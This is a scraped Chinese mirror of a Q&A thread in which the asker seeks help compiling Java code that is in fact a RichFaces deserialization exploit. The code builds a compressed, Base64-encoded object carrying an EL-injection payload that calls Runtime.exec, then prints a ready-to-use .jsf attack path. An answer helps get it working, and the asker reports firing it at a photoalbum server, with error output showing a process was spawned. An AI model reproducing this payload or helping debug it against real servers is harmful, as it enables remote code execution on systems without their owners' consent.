编译时收到错误消息(Java Web 项目)

Posted

技术标签:

【中文标题】编译时收到错误消息(Java Web 项目)【英文标题】:Getting error message when compiling (Java Web Project) 【发布时间】:2018-11-28 22:36:33 【问题描述】:

我已经尝试编译这个java程序一个多星期没有成功。我目前正在尝试在Windows 10 x64环境下在Eclipse中编译以下项目:

public  class  Main  

    public static void main(String[] args) throws Exception

        String pocEL = "#request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch /tmp/aaaaa\")";
        // tomcat8.5.24 MethodExpression serialVersionUID
        Long MethodExpressionSerialVersionUID = 8163925562047324656L;
        Class clazz = Class.forName("javax.el.MethodExpression");
        Field field = clazz.getField("serialVersionUID");
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        field.setLong(null, MethodExpressionSerialVersionUID);

        // createContent
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]OutputStream.class, Object.class);
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);

        Class<?> cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor<?> ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);
        Object createContnet = ct.newInstance(null, tagMethodExpression);

        //value
        Object value = "haveTest";

        //modified
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        Object modified = ct.newInstance(null, tagValueExpression);

        //expires
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
        Object expires = ct.newInstance(null, tagValueExpression2);

        //payload object
        UserResource.UriData uriData = new UserResource.UriData();
        //Constructor con = UserResource.class.getConstructor(new Class[]);
        Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent");
        fieldCreateContent.setAccessible(true);
        fieldCreateContent.set(uriData, createContnet);
        Field fieldValue = uriData.getClass().getDeclaredField("value");
        fieldValue.setAccessible(true);
        fieldValue.set(uriData, value);
        Field fieldModefied = uriData.getClass().getDeclaredField("modified");
        fieldModefied.setAccessible(true);
        fieldModefied.set(uriData, modified);
        Field fieldExpires = uriData.getClass().getDeclaredField("expires");
        fieldExpires.setAccessible(true);
        fieldExpires.set(uriData, expires);


        //encrypt
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(uriData);
        objectOutputStream.flush();
        objectOutputStream.close();
        byteArrayOutputStream.close();
        byte[] pocData = byteArrayOutputStream.toByteArray();
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[pocData.length + 100];
        compressor.setInput(pocData);
        compressor.finish();
        int totalOut = compressor.deflate(compressed);
        byte[] zipsrc = new byte[totalOut];
        System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
        compressor.end();
        byte[] dataArray = URL64Codec.encodeBase64(zipsrc);

        String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
        System.out.println(poc);
    

我在使用 Eclipse 编译时收到以下错误消息:

Exception in thread "main" java.lang.NoSuchFieldException: serialVersionUID
    at java.lang.Class.getField(Unknown Source)
    at Main.main(Main.java:30)

如果有帮助,我还可以访问家里另一台在 64 位环境下运行 Ubuntu 14.04 的计算机,如果这样可能更容易排除故障或添加插件...

任何帮助将不胜感激。只要我可以编译并从此 Java 程序获得有效输出,请随意进行任何修改和/或建议。谢谢。

【问题讨论】:

【参考方案1】:

只需注释掉所有 c..p:

    //Class clazz = Class.forName("javax.el.MethodExpression");
    //Field field = clazz.getField("serialVersionUID");
    //field.setAccessible(true);
    //Field modifiersField = Field.class.getDeclaredField("modifiers");
    //modifiersField.setAccessible(true);
    //modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    //field.setLong(null, MethodExpressionSerialVersionUID);

顺便说一句,如果你必须破解你的库才能使用私有组件,这意味着你做错了......(99.9% 的时间)

【讨论】:

好的!因此,我已经能够根据您的建议生成有效负载。现在,当我将有效负载包含在:192.168.2.37:8585/photoalbum/a4j/s/… 中时,我得到:org.jboss.util.NestedRuntimeException: Unparseable date: "java.lang.UNIXProcess@34074427 modified"; - 嵌套 throwable: (java.text.ParseException: Unparseable date: "java.lang.UNIXProcess@34074427 modified") 我相信这一行:String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";需要一点修改。我尝试将“ISO-8859-1”更改为“UTF-8”,然后在错误消息中获得一点差异:org.jboss.util.NestedRuntimeException:无法解析的日期:“java.lang.UNIXProcess@1e4ab536 modified”; - 嵌套 throwable: (java.text.ParseException: Unparseable date: "java.lang.UNIXProcess@1e4ab536 modified")【参考方案2】:

在您的班级中没有找到 serialVersionUID 字段。只是一个想法,也许它需要一个实例? 尝试类似:

Class clazz = Class.forName("javax.el.MethodExpression");
Object obj = clazz.newInstance();
MethodExpression me = (MethodExpression) obj;
Field field = me.getField("serialVersionUID");

【讨论】:

经过上面的修改后,我得到了这个:线程“main”中的异常java.lang.Error:未解决的编译问题:方法getField(String)在Main的MethodExpression类型中未定义。主(Main.java:32)

以上是关于编译时收到错误消息(Java Web 项目)的主要内容,如果未能解决你的问题,请参考以下文章

打开项目时出现“无法创建 C# 2017 编译器”错误消息

在使用 Matlab Builder NE 编译 COM 服务器时,我不断收到错误消息:“描述:MCR 实例不可用”

Webpack 5 收到 Polyfill 错误?!?!我的 JavaScript React 项目在尝试编译我的 webpack.config.js 文件时收到一个 polyfill 错误

Interface Builder XIB 编译器错误

通过 expo 运行 react-native 项目 web 版本的 web 版本时出错。消息是 - 无法编译 /Libraries/StyleSheet/processColor.js

与证书相关的 SBT 项目编译错误